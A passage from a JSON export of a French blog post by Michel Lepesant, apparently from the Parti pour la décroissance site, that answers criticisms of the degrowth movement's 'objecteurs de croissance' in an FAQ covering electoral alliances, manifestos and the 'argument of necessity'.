l\u2019id\u00e9ologie dominante est toujours celle de la classe dominante. Mais pour autant, ils ne veulent pas endosser l\u2019habit de l\u2019avant-garde \u00e9clair\u00e9e qui guidera les majorit\u00e9s ali\u00e9n\u00e9es.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> A la diff\u00e9rence des strat\u00e9gies traditionnelles de la Gauche, les O.C. veulent marquer une rupture p\u00e9dagogique\u00a0: ils ne s\u2019agit plus d\u2019\u00e9clairer pour mieux faire\u00a0; il s\u2019agit de faire pour (s\u2019)expliquer et comprendre.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Ce qui ne signifie pas un rejet du Projet et de la Th\u00e9orie (encore une de ces alternatives que les O.C. veulent rompre, comme si on n\u2019avait le choix qu\u2019entre la prise de conscience individuelle et l\u2019enseignement vertical et descendant par ceux qui savent). Certains O.C. d\u2019ailleurs ne sont pas exempts, sur ce point, de manque d\u2019autocritique\u00a0: car ils ne rejettent l\u2019Ecole que pour mieux imposer leur \u00e9gocentrisme\u00a0!<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Apprendre \u00e0 ce d\u00e9centrer, de soi comme de l\u2019Autorit\u00e9 (du Parti, du P\u00e8re\u2026), c\u2019est effectivement tout un programme plus politique que psychologique\u00a0!<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Quant \u00e0 la simplicit\u00e9 volontaire, c\u2019est la caricaturer que de la r\u00e9duire \u00e0 un repli individualiste. Car cette simplicit\u00e9 volontaire n\u2019est pas une invention moderne, mais seulement la sagesse dont savaient faire preuve les anciens qui vivaient et respectaient leur appartenance \u00e0 une communaut\u00e9\u00a0: par exemple, ce que George Orwell nomme la \u00ab\u00a0d\u00e9cence ordinaire\u00a0\u00bb n\u2019est vraiment pas un individualisme \u00ab\u00a0bobo\u00a0\u00bb ou \u00ab\u00a0baba\u00a0\u00bb\u00a0!<\/p>\n<h3>12- Les O.C., faute de sens pratique, oublient-ils la mod\u00e9lisation et les exp\u00e9rimentations\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Si le \u00ab\u00a0sens pratique\u00a0\u00bb, c\u2019est la compr\u00e9hension r\u00e9fl\u00e9chie de la pratique, c\u2019est-\u00e0-dire la th\u00e9orie <em>\u00e0 partir de<\/em> la pratique, alors ce reproche, en plus d\u2019\u00eatre injuste, est d\u2019abord une preuve d\u2019ignorance de ce que proposent et vivent les O.C.\u00a0!<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Car pr\u00e9cis\u00e9ment, c\u2019est bien par les exp\u00e9riences et les pratiques que les O.C. s\u2019engagent en politique\u00a0; par le \u00ab\u00a0pied des exp\u00e9riences\u00a0\u00bb.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Maintenant, si ce reproche signifie que les O.C. sont des uto-pisteurs qui ne peuvent pas d\u00e9crire \u00e0 l\u2019avance une soci\u00e9t\u00e9 id\u00e9ale valable pour tous et pour toujours alors les O.C. revendiquent cet absence de sens pratique\u00a0! Nous connaissons (parce que nous y vivons) la soci\u00e9t\u00e9 que nous rejetons\u00a0; nous commen\u00e7ons \u00e0 \u00eatre au clair sur trajet pour en sortir\u00a0; pour la suite, oui pour l\u2019ouverture des exp\u00e9riences et des discussions\u2026<\/p>\n<h3>13- Pourquoi les O.C. pr\u00e9f\u00e8rent-ils railler l\u2019Unitude que s\u2019y rallier\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Parce qu\u2019elle n\u2019est qu\u2019une tactique \u00e9lectorale et que les O.C. m\u00eame aux \u00e9lections adoptent une visibilit\u00e9 non \u00e9lectoraliste\u00a0; parce qu\u2019elle fait passer les tactiques de la politique (la conqu\u00eate du pouvoir) avant la strat\u00e9gie du politique (la sortie du capitalisme).<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Parce qu\u2019une victoire de l\u2019autre gauche ne ferait que reprendre les deux \u00e9tapes que la Gauche historique a toujours emprunt\u00e9es\u00a0: la conqu\u00eate du pouvoir <em>pour<\/em> changer la soci\u00e9t\u00e9.\u2026 On ne peut attendre et craindre de cette \u00e9ni\u00e8me tentative que de nouveaux d\u00e9\u00e7us\u00a0: apr\u00e8s ceux de La Gauche, ceux de l\u2019Autre Gauche\u00a0?<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Parce que notre \u00ab\u00a0strat\u00e9gie de la transformation\u00a0\u00bb rompt avec la recherche du minimum d\u00e9nominateur commun\u00a0: et que nous pr\u00e9f\u00e9rons \u00ab\u00a0cha\u00eene d\u2019\u00e9quivalence\u00a0\u00bb, \u00ab\u00a0principe d\u2019horizon\u00a0\u00bb, \u00ab\u00a0ampliation analogique\u00a0\u00bb\u2026<\/p>\n<h3>14- Que peuvent attendre les O.C. d\u2019un Manifeste\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Certainement pas qu\u2019il annonce de fa\u00e7on proph\u00e9tique l\u2019avenir et la ligne \u00e0 suivre.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Que ce Manifeste prenne garde \u00e0 ne retomber dans aucune des illusions <em>d\u00e9construites<\/em> par notre strat\u00e9gie de la transformation.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Qu\u2019il suscite le d\u00e9sir de repolitiser la politique\u2026<\/p>\n<h3>15- Pourquoi tant de m\u00e9fiance pour \u00ab\u00a0l\u2019argument de la n\u00e9cessit\u00e9\u00a0\u00bb\u00a0?<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> L\u2019argument de la n\u00e9cessit\u00e9 \u2013 la d\u00e9croissance est n\u00e9cessaire, in\u00e9vitable \u2013 est le m\u00eame que celui de l\u2019impossibilit\u00e9\u00a0: une croissance infinie dans un monde fini est impossible.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Car une croissance sans fin des in\u00e9galit\u00e9s est malheureusement possible dans un monde fini. Les O.C. ne critiquent pas la croissance pour son impossibilit\u00e9 mais pour son <em>absurdit\u00e9<\/em> : ils posent ainsi en politique la \u00ab\u00a0question du sens\u00a0\u00bb. Les O.C. ne sont pas d\u00e9croissants \u00ab\u00a0faute de mieux\u00a0\u00bb, ou parce que ce serait \u00ab\u00a0le moindre mal\u00a0\u00bb. M\u00eame si les ressources naturelles \u00e9taient infinies, les O.C.feraient objection de conscience \u00e0 la croissance \u00e9conomique.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Parce que la \u00ab\u00a0n\u00e9cessit\u00e9\u00a0\u00bb est le contraire de la \u00ab\u00a0libert\u00e9\u00a0\u00bb. Et qu\u2019il doit \u00eatre contradictoire d\u2019utiliser en m\u00eame temps la n\u00e9cessit\u00e9 comme moyen et la libert\u00e9 comme but.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Parce que, dans la tradition socialiste (sous la forme du d\u00e9terminisme du mat\u00e9rialisme historique), il a souvent servi de justification \u00e0 l\u2019usage de la violence.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Parce que, dans ce qui se constitue comme tradition \u00e9cologiste (sous la forme de l\u2019impossibilit\u00e9 d\u2019une croissance infinie), il peut aussi servir \u00e0 un m\u00eame usage autoritaire, voire totalitaire.<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Parce que ce risque menace, me semble-t-il, les deux travaux les plus proches de notre strat\u00e9gie\u00a0: le texte d\u2019Andr\u00e9 Gorz dans l\u2019Avant-propos du <a href=\"http:\/\/www.mouvementutopia.org\/blog\/public\/pdfs\/Manifeste_UTOPIA_in_extenso.pdf\">Manifeste d\u2019Utopia<\/a> et le <a href=\"http:\/\/endehors.org\/news\/manifeste-pour-une-alternative\">Manifeste pour une alternative<\/a> de Patrick Mignard. \u00ab\u00a0La sortie du capitalisme a d\u00e9j\u00e0 commenc\u00e9\u00a0\u00bb \u00e9crit Andr\u00e9 Gorz\u00a0; et pour Patrick Mignard\u00a0: \u00ab\u00a0Toutes les civilisations ont cru en l\u2019\u00e9ternit\u00e9 de leur existence. Toutes ont disparu. Le syst\u00e8me marchand, \u00e0 l\u2019image de ses pr\u00e9d\u00e9cesseurs, croit lui aussi en la \u00ab\u00a0rationalit\u00e9\u00a0\u00bb de son fonctionnement et en l\u2019\u00e9ternit\u00e9 de sa domination. Lui aussi dispara\u00eetra pourtant dans les affres de ses contradictions pouss\u00e9es \u00e0 leur paroxysme.\u00a0\u00bb Et pour \u00e9viter ce \u00ab\u00a0risque\u00a0\u00bb, ils ajoutent le m\u00eame argument\u00a0: tant qu\u2019\u00e0 faire, autant choisir une alternative que subir un \u00ab\u00a0socialisme de guerre\u00a0\u00bb ou un \u00ab\u00a0\u00e9cofascisme\u00a0\u00bb. Certes, mais ne faudrait-il pas aussi se demander si le refus d\u2019accompagner le capitalisme ne doit pas \u00eatre aussi un refus d\u2019accompagner la sortie (in\u00e9luctable ou n\u00e9cessaire) du capitalisme\u00a0?<br \/>\n<img loading=\"lazy\" decoding=\"async\" style=\"height: 11px; width: 8px;\" src=\"http:\/\/nanorezo.free.fr\/local\/cache-vignettes\/L8xH11\/puce-32883.gif\" alt=\"-\" width=\"8\" height=\"11\" \/> Parce qu\u2019il emp\u00eache de se demander vraiment pourquoi nous critiquons le capitalisme\u00a0? <strong>M\u00eame si<\/strong> le capitalisme \u00e9tait une r\u00e9ussite du point de vue de ses propres crit\u00e8res (\u00e9conomiques principalement), il faudrait le critiquer. Nous ne critiquons pas le mode de vie d\u2019un capitaliste qui a r\u00e9ussi simplement parce qu\u2019il ne r\u00e8gle pas lui-m\u00eame la facture r\u00e9elle de sa r\u00e9ussite (il traite le reste des humains et la nature comme des externalit\u00e9s), nous critiquons ce mode de vie en tant que tel.<\/p>\n<p>Michel Lepesant<\/p>\n<hr \/>\n<p><a rel=\"nofollow\" href=\"http:\/\/www.lutte-ouvriere.org\/documents\/archives\/la-revue-lutte-de-classe\/article\/la-decroissance-un-point-de-vue\">http:\/\/www.lutte-ouvriere.org\/docum&#8230;<\/a><\/p>\n<p><a rel=\"nofollow\" href=\"http:\/\/www.legrandsoir.info\/Ne-soyons-pas-des-altermondialistes-benets.html\">http:\/\/www.legrandsoir.info\/Ne-soyo&#8230;<\/a><\/p>\n<p><a rel=\"nofollow\" href=\"http:\/\/abernier.vefblog.net\/17.html#Ne_soyons_pas_des_altermondialistes_benets-com2085842\">http:\/\/abernier.vefblog.net\/17.html&#8230;<\/a><\/p>\n<p><a rel=\"nofollow\" href=\"http:\/\/www.m-pep.org\/spip.php?article691\">http:\/\/www.m-pep.org\/spip.php?article691<\/a><\/p>\n<p><a rel=\"nofollow\" href=\"http:\/\/www.liberation.fr\/politiques\/0101584234-moins-de-tout-et-plus-de-cogitation-pour-les-objecteurs-de-croissance\">http:\/\/www.liberation.fr\/politiques&#8230;<\/a><\/p>\n<p><a rel=\"nofollow\" href=\"http:\/\/www.reporterre.net\/spip.php?article493\">http:\/\/www.reporterre.net\/spip.php?&#8230;<\/a><\/p>\n<p><a rel=\"nofollow\" href=\"http:\/\/www.lespetitspoissontrouges.org\/index.php\">http:\/\/www.lespetitspoissontrouges&#8230;.<\/a> ?<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Quelques propositions de r\u00e9ponses argument\u00e9es aux critiques\/reproches\/caricatures dont les O.C. font en ce moment l\u2019objet. L\u2019argumentation compl\u00e8te de ces r\u00e9ponses r\u00e9posent sur Les trois pieds politiques de l\u2019objection de croissance. 1- Les O.C. sont-ils de gauche\u00a0? Historiquement, les O.C. le &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=3458\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,8,10,29],"tags":[],"class_list":["post-3458","post","type-post","status-publish","format-standard","hentry","category-billets-du-ppld","category-communiques-de-presse","category-documents-les-essentielles","category-f-a-q"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/3458","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3458"}],"version-history":[{"count":2,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/3458\/revisions"}],"predecessor-version":[{"id":5556,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/3458\/revisions\/5556"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3458"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3458"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3458"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}